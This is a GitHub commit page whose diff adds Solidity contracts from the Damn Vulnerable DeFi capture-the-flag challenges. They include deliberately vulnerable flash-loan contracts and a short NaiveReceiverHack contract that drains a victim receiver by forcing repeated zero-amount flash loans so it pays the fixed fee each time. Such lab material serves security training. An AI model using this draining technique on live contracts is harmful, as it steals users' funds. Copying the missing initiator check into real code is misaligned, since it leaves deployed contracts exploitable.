Skip to content

Commit

Permalink
opt
Browse files Browse the repository at this point in the history
  • Loading branch information
6boris committed Oct 16, 2023
1 parent 1b29536 commit 2d07ff3
Show file tree
Hide file tree
Showing 18 changed files with 441 additions and 360 deletions.
2 changes: 2 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -80,6 +80,8 @@ git submodule add https://github.com/OpenZeppelin/openzeppelin-contracts-upgrade
git submodule add https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable foundry/lib/@openzeppelin/contracts-upgradeable-v4.7.1
# cd foundry/lib/@openzeppelin/contracts-upgradeable-v4.7.1 && git checkout tags/v4.7.1

git submodule add https://github.com/transmissions11/solmate



rm -rf .git/modules/foundry/lib/@uniswap
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -11,6 +11,7 @@ import { IERC3156FlashBorrower, IERC3156FlashLender } from "@openzeppelin/contra
* @title UnstoppableVault
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/

contract UnstoppableVault is IERC3156FlashLender, ReentrancyGuard, Owned, ERC4626 {
using SafeTransferLib for ERC20;
using FixedPointMathLib for uint256;
Expand Down Expand Up @@ -139,3 +140,41 @@ contract UnstoppableVault is IERC3156FlashLender, ReentrancyGuard, Owned, ERC462
*/
function afterDeposit(uint256 assets, uint256 shares) internal override nonReentrant { }
}

/**
* @title ReceiverUnstoppable
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract ReceiverUnstoppable is Owned, IERC3156FlashBorrower {
UnstoppableVault private immutable pool;

error UnexpectedFlashLoan();

constructor(address poolAddress) Owned(msg.sender) {
pool = UnstoppableVault(poolAddress);
}

function onFlashLoan(
address initiator,
address token,
uint256 amount,
uint256 fee,
bytes calldata
)
external
returns (bytes32)
{
if (initiator != address(this) || msg.sender != address(pool) || token != address(pool.asset()) || fee != 0) {
revert UnexpectedFlashLoan();
}

ERC20(token).approve(address(pool), amount);

return keccak256("IERC3156FlashBorrower.onFlashLoan");
}

function executeFlashLoan(uint256 amount) external onlyOwner {
address asset = address(pool.asset());
pool.flashLoan(this, asset, amount, bytes(""));
}
}

This file was deleted.

149 changes: 149 additions & 0 deletions contracts/CTF/Damn-Vulnerable-DeFi/02.Naive-Receiver.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,149 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import { SafeTransferLib } from "@solady/utils/SafeTransferLib.sol";
import { ReentrancyGuard } from "@openzeppelin/contracts-v4.7.1/security/ReentrancyGuard.sol";
import { IERC3156FlashBorrower, IERC3156FlashLender } from "@openzeppelin/contracts-v4.7.1/interfaces/IERC3156.sol";

/**
* @title FlashLoanReceiver
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/

contract FlashLoanReceiver is IERC3156FlashBorrower {
address private pool;
address private constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;

error UnsupportedCurrency();

constructor(address _pool) {
pool = _pool;
}

// @audit
// @audit-ok
// @audit-check
// @audit-issue
// @audit-info
// @audit-submitted
function onFlashLoan(
address,
address token,
uint256 amount,
uint256 fee,
bytes calldata
)
external
returns (bytes32)
{
assembly {
// gas savings
if iszero(eq(sload(pool.slot), caller())) {
mstore(0x00, 0x48f5c3ed)
revert(0x1c, 0x04)
}
}

if (token != ETH) {
revert UnsupportedCurrency();
}

uint256 amountToBeRepaid;
unchecked {
amountToBeRepaid = amount + fee;
}

_executeActionDuringFlashLoan();

// Return funds to pool
SafeTransferLib.safeTransferETH(pool, amountToBeRepaid);

return keccak256("ERC3156FlashBorrower.onFlashLoan");
}

// Internal function where the funds received would be used
function _executeActionDuringFlashLoan() internal { }

// Allow deposits of ETH
receive() external payable { }
}
/**
* @title NaiveReceiverLenderPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/

contract NaiveReceiverLenderPool is ReentrancyGuard, IERC3156FlashLender {
address public constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
uint256 public constant FIXED_FEE = 1 ether; // not the cheapest flash loan
bytes32 public constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");

error RepayFailed();
error UnsupportedCurrency();
error CallbackFailed();

function maxFlashLoan(address token) external view returns (uint256) {
if (token == ETH) {
return address(this).balance;
}
return 0;
}

function flashFee(address token, uint256) external pure returns (uint256) {
if (token != ETH) {
revert UnsupportedCurrency();
}
return FIXED_FEE;
}

function flashLoan(
IERC3156FlashBorrower receiver,
address token,
uint256 amount,
bytes calldata data
)
external
returns (bool)
{
if (token != ETH) {
revert UnsupportedCurrency();
}

uint256 balanceBefore = address(this).balance;

// Transfer ETH and handle control to receiver
SafeTransferLib.safeTransferETH(address(receiver), amount);
if (receiver.onFlashLoan(msg.sender, ETH, amount, FIXED_FEE, data) != CALLBACK_SUCCESS) {
revert CallbackFailed();
}

if (address(this).balance < balanceBefore + FIXED_FEE) {
revert RepayFailed();
}

return true;
}

// Allow deposits of ETH
receive() external payable { }
}

interface IPool {
function flashLoan(address receiver, address token, uint256 amount, bytes calldata data) external returns (bool);
}

contract NaiveReceiverHack {
address private constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
NaiveReceiverLenderPool pool;
FlashLoanReceiver receiver;

constructor(address payable _pool, address payable _receiver) {
pool = NaiveReceiverLenderPool(_pool);
receiver = FlashLoanReceiver(_receiver);
}

function attack() public {
for (uint256 i = 0; i < 10; i++) {
pool.flashLoan(receiver, ETH, 0, "0x");
}
}
}

This file was deleted.

This file was deleted.

Loading

0 comments on commit 2d07ff3

Please sign in to comment.